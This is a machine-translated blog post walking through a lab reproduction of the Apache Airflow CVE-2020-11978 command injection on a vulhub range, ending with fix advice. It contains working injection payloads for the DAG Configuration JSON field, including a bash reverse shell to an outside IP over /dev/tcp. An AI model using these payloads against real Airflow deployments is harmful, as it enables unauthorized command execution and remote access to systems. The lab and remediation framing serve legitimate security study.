当前位置:网站首页>(cve-2020-11978) command injection vulnerability recurrence in airflow DAG [vulhub range]
(cve-2020-11978) command injection vulnerability recurrence in airflow DAG [vulhub range]
2022-06-24 07:29:00 【Refused guanxiaotong for many times】
List of articles
Preface
Since I learned java After tool development , There are very few contact vulnerabilities , In the past, when I was still safe, I would repeat an article every day , After turning the direction, I didn't touch the loophole . Just yesterday , A pretty guy came to me with a question , Ask me if I will Apache Airflow(CVE-2020-11978) This loophole , therefore , With this blog post ,CVE-2020-11978 Loophole recurrence .
Tips : The following is the main body of this article , The following cases can be used for reference
1. Vulnerability information supplement
Airflow It's a use python language-written data pipeline Platform for scheduling and monitoring workflow .Airflow It's through DAG(Directed acyclic graph Directed acyclic graph ) Task scheduling tool to manage task flow , You don't need to know the specific content of business data , Task scheduling can be realized by setting task dependencies .
This platform owns and Hive、Presto、MySQL、HDFS、Postgres And so on , And provided hooks (hook) So that it has good scalability . Except for a command line interface , The tool also provides a tool based on Web The user interface can visualize pipeline dependencies 、 Monitoring progress 、 Trigger tasks, etc .
2. Vulnerability profile
Apache Airflow It's an open source , Distributed task scheduling framework . In its 1.10.10 Version and previous examples DAG There is a command injection vulnerability in , Unauthorized visitors can use this vulnerability in Worker Execute arbitrary commands in .
3. Affects version
Apache Airflow <= 1.10.10
4. Loophole recurrence
One 、 start-up vulhub Range environment
No, vulhub Go to the next one vulhub, Just follow the steps to extract the installation package . If vulhub The version is always free of this vulnerability , Download a new vulhub Just go , The second one as shown in the figure below airflow Namely .
Get into CVE-2020-11978 Folder 
Enter the following command to start
docker-compose run airflow-init
docker-compose up -d

Access vulnerability address :http://127.0.0.1:8080 that will do
Because it is inconvenient to operate in the virtual machine , In the virtual machine ifconfig Command get to ip The address is 192.168.25.130, Use this ip Replace 127.0.0.1 You can access it in your local browser , As shown below :
Be careful ! Because the vulnerability environment is relatively large , The startup time is very slow , It is not accessible at once , I don't know how long to wait , I started the environment the night before , Found it inaccessible 8080 port , After a nap , To access , So don't worry , Wait patiently after the environment is started , You can do something else first .
Two 、 Command execution
visit http://192.168.25.130:8080 Get into airflow The management end , take example_trigger_target_dag Ahead Off Change it to On.
Get into example_trigger_target_dag page , Click on Trigger DAG, Go to the debug page .
stay Configuration JSON Input in :
{
"message":"'\";touch /tmp/what_the_fuck;#"}
Click again Trigger perform dag.
Wait a few seconds to see the successful execution .
Show success, It means success .

Enter the container to view the directory , Found successfully created /tmp/what_the_fuck file , The loophole reappears successfully .
docker-compose exec airflow-worker bash

3、 ... and 、NC rebound shell
Since the top can be used touch File created , So bounce one shell Come back , It's not a big problem , Let's look at the operation .
attack 192.168.230.234 Turn on nc, monitor 9999 port .
stay Configuration JSON Input in :
{
"message":"'\";bash -i >& /dev/tcp/192.168.230.234/9999 0>&1;#"}
{“message”:“'”;;#"}, Click again Trigger perform dag.
Successful rebound shell, The command can be executed .
5. Repair suggestions
1、 Upgrade to 1.10.10 After the version
2、 Delete or disable the default DAG( You can delete or disable the default in the configuration file DAGload_examples=False)
summary
Loophole recurrence is simple , But the principle is still a little confused , It is recommended that you reproduce the vulnerability at the same time , And understand the principle .
Original article , Welcome to reprint , Please indicate the source of the article : (CVE-2020-11978)Airflow dag Command injection vulnerability in 【vulhub shooting range 】. Baidu and all kinds of collection stations are not credible , Search carefully to identify . Technical articles generally have timeliness , I am used to revise and update my blog posts from time to time , So visit the source to see the latest version of this article .
边栏推荐
- High energy ahead: Figure 18 shows you how to use the waterfall chart to visually reflect data changes
- 取模软件 模拟显示验证取模数据正确性 逆向 把点阵数组bin文件转显示
- [frame rate doubling] development and implementation of FPGA based video frame rate doubling system Verilog
- Bjdctf 2020 Bar _ Babystack
- The latest crawler tutorial in 2021: video demonstration of web crawling
- Accessing user interface settings using systemparametersinfo
- MaxCompute远程连接,上传、下载数据文件操作
- 捏脸师: 炙手可热的元宇宙造型师
- Hyperledger fabric ledger snapshot - fast data synchronization
- [MRCTF2020]千层套路
猜你喜欢

超宽带脉冲定位方案,UWB精准定位技术,无线室内定位应用

现货黄金有哪些眩人的小技术?

bjdctf_2020_babystack

Unexpected token u in JSON at position 0
![[equalizer] bit error rate performance comparison simulation of LS equalizer, def equalizer and LMMSE equalizer](/img/45/61258aa20cd287047c028f220b7f7a.png)
[equalizer] bit error rate performance comparison simulation of LS equalizer, def equalizer and LMMSE equalizer

软件性能测试分析与调优实践之路-JMeter对RPC服务的性能压测分析与调优-手稿节选

Huawei cloud database advanced learning

Software performance test analysis and tuning practice path - JMeter's performance pressure test analysis and tuning of RPC Services - manuscript excerpts

电脑如何打开软键盘,教大家Win10如何打开软键盘的方法

【小技巧】使用matlab的深度学习工具箱deepNetworkDesigner快速设计
随机推荐
【图像融合】基于像素显着性结合小波变换实现多焦点和多光谱图像融合附matlab代码
[MRCTF2020]千层套路
Win11笔记本省电模式怎么开启?Win11电脑节电模式打开方法
What is the mentality of spot gold worth learning from
Big factories are not the only way to measure ability. The three years' experience of Shangcai's graduation
MySQL enable binlog
Huawei experimental topology set, learning methods are attached at the end of the article!
Record the problem location experience when an application is suddenly killed
How can win11 set the CPU performance to be fully turned on? How does win11cpu set high performance mode?
The P2V and V2V software starwind converter is really easy to use
Development of IOT device end - establishment of development environment
Prefix and topic training
What is an intrusion detection system?
RDD basic knowledge points
关于取模数据序号定位的说明 区码定位是指GBK编码
[equalizer] bit error rate performance comparison simulation of LS equalizer, def equalizer and LMMSE equalizer
Unexpected token u in JSON at position 0
Intranet learning notes (4)
【图像分割】基于形态学实现视网膜血管分割附matlab代码
[GUET-CTF2019]zips